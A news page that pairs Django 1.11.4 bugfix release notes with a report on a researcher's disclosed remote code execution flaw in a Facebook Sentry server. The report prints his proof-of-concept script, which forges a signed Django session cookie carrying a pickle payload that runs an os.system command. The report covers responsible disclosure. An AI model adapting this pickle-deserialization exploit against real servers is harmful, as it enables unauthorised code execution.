Django 1.11.4 available now

One of the most popular Python Framework was recently updated
01 August 2017   1313

Great news for all Python coders and Django users. New 1.11.4 version available now.

Bugfixes

  • Fixed a regression in 1.11.3 on Python 2 where non-ASCII format values for date/time widgets results in an empty value in the widget’s HTML ).
  • Fixed QuerySet.union() and difference() when combining with a queryset raising EmptyResultSet .
  • Fixed a regression in pickling of LazyObject on Python 2 when the wrapped object doesn’t have __reduce__() .
  • Fixed crash in runserver’s autoreload with Python 2 on Windows with non-str environment variables .
  • Corrected Field.has_changed() to return False for disabled form fields: BooleanFieldMultipleChoiceFieldMultiValueFieldFileFieldModelChoiceField, and ModelMultipleChoiceField.
  • Fixed QuerySet.count() for union()difference(), and intersection() queries.
  • Fixed ClearableFileInput rendering as a subwidget of MultiWidget. Custom clearable_file_input.html widget templates will need to adapt for the fact that context values checkbox_namecheckbox_idis_initialinput_text,initial_text, and clear_checkbox_label are now attributes of widget rather than appearing in the top-level context.
  • Fixed queryset crash when using a GenericRelation to a proxy model

 

Another Facebook Vulnerability to be Found

Cybersecurity specialist from SCRT find a way to execute code on Facebook server remotely
27 August 2018   600

Daniel Le Gall from SCRT, reported about the vulnerability he found in one of the Facebook servers. The problem is in the Sentry web application for logs storage, written in Python using the Django framework. Facebook experts have already patched a security hole in the server.

Daniel found the problem during the scanning of IP addresses of to the social network. On one of them Sentry service was located with host name sentryagreements.thefacebook.com. When reviewing the application, the specialist noticed a stack trace that appears for an unexpected reason, and problems with the user password reset function. According to him, the Django debugging mode was not disabled, so the trace opened the entire environment of the program:

Facebook Vulnerability
Facebook Vulnerability

SCRT expert discovered among the keys of the environment SESSION_SERIALIZER, which was related to the method django.contrib.sessions.serializers.PickleSerializer. Daniel clarified that using a fake session containing arbitrary content of the binary Pickle protocol for serializing objects in Python, you can run any code in the system. To access the session, he needed a secret Django key, which appeared in the list of Sentry settings in plaintext called system.secret-key:

Facebook Vulnerability
Facebook Vulnerability

The researcher wrote a proof-of-concept script that changed the existing contents of sentrysid cookies to an arbitrary object and made the page load for 30 seconds longer:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

He sent information about the vulnerability to Facebook team and received $ 5000 under the Bug Bounty program. The company specialists cleared the issue in 10 days after receiving the notification.